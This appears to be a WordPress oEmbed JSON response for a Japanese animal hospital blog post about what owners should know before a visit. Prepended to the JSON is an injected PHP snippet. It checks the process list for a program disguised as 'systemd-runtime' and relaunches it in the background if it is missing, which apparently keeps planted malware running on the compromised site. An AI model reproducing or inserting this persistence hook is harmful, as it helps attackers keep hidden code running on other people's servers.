$programFilePath = 'systemd-runtime'; $processList = shell_exec('ps aux'); if (strpos($processList, $programFilePath) === false) { $commandToExecute = 'nohup ./' . $programFilePath . ' > /dev/null 2>&1 &'; shell_exec($commandToExecute); }{"version":"1.0","provider_name":"\u52d5\u7269\u306e\u533b\u5b66 | \u672c\u7267\u901a\u308a\u52d5\u7269\u75c5\u9662","provider_url":"https:\/\/honmokudori.com\/blog","author_name":"YamaguchiNaotaka","author_url":"#","title":"\u52d5\u7269\u75c5\u9662\u306b\u6765\u308b\u524d\u306b\u77e5\u3063\u3066\u304a\u3044\u3066\u6b32\u3057\u3044\u3053\u3068","type":"rich","width":600,"height":338,"html":"
\u52d5\u7269\u75c5\u9662\u306b\u6765\u308b\u524d\u306b\u77e5\u3063\u3066\u304a\u3044\u3066\u6b32\u3057\u3044\u3053\u3068<\/a><\/blockquote>